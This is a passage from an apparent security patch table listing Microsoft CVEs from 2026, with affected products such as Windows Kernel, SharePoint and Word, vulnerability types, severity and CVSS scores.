Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  